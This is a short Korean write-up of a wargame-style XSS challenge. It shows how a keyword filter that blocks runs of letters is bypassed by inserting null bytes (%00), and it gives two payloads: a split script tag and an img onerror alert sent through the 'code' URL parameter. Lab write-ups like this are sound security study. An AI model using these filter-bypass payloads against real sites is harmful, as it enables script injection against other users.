Write-Up
해당 문제의 미션은 Your mission is to inject <script>alert(1);</script> 인 것을 알 수 있다. 먼저 HTML Entity Encoding 처리로 인한 스크립트 실행 가능 여부를 파악한다.
<b>1</b>
<b> 태그 삽입이 되는 것을 확인하였다. 즉, 태그 자체가 encoding 처리되어 필터링되지는 않는다.
<b>ab</b>
위처럼 영문자를 연속으로 입력 시, no hack과 같이 필터링되는 것을 볼 수 있다. 즉, 이를 우회해야 한다.
<s%00c%00r%00i%00p%00t>a%00l%00e%00r%00t(1);</s%00c%00r%00i%00p%00t>
위 injection code를 입력 창에 넣어보았으나, URL encoding 되어 GET 방식으로 전달된 덕에 아래와 같은 결과를 얻게 된다.
그래서 아래와 같이 URL 창의 code 파라미터에 값을 직접 전달해준다.
참고
code=<i%00m%00g%20s%00r%00c=1%20o%00n%00e%00r%00r%00o%00r=a%00l%00e%00r%00t(1)>
잠깐 헷갈렸던 것이 null 문자와 %20은 다르다는 것!이다.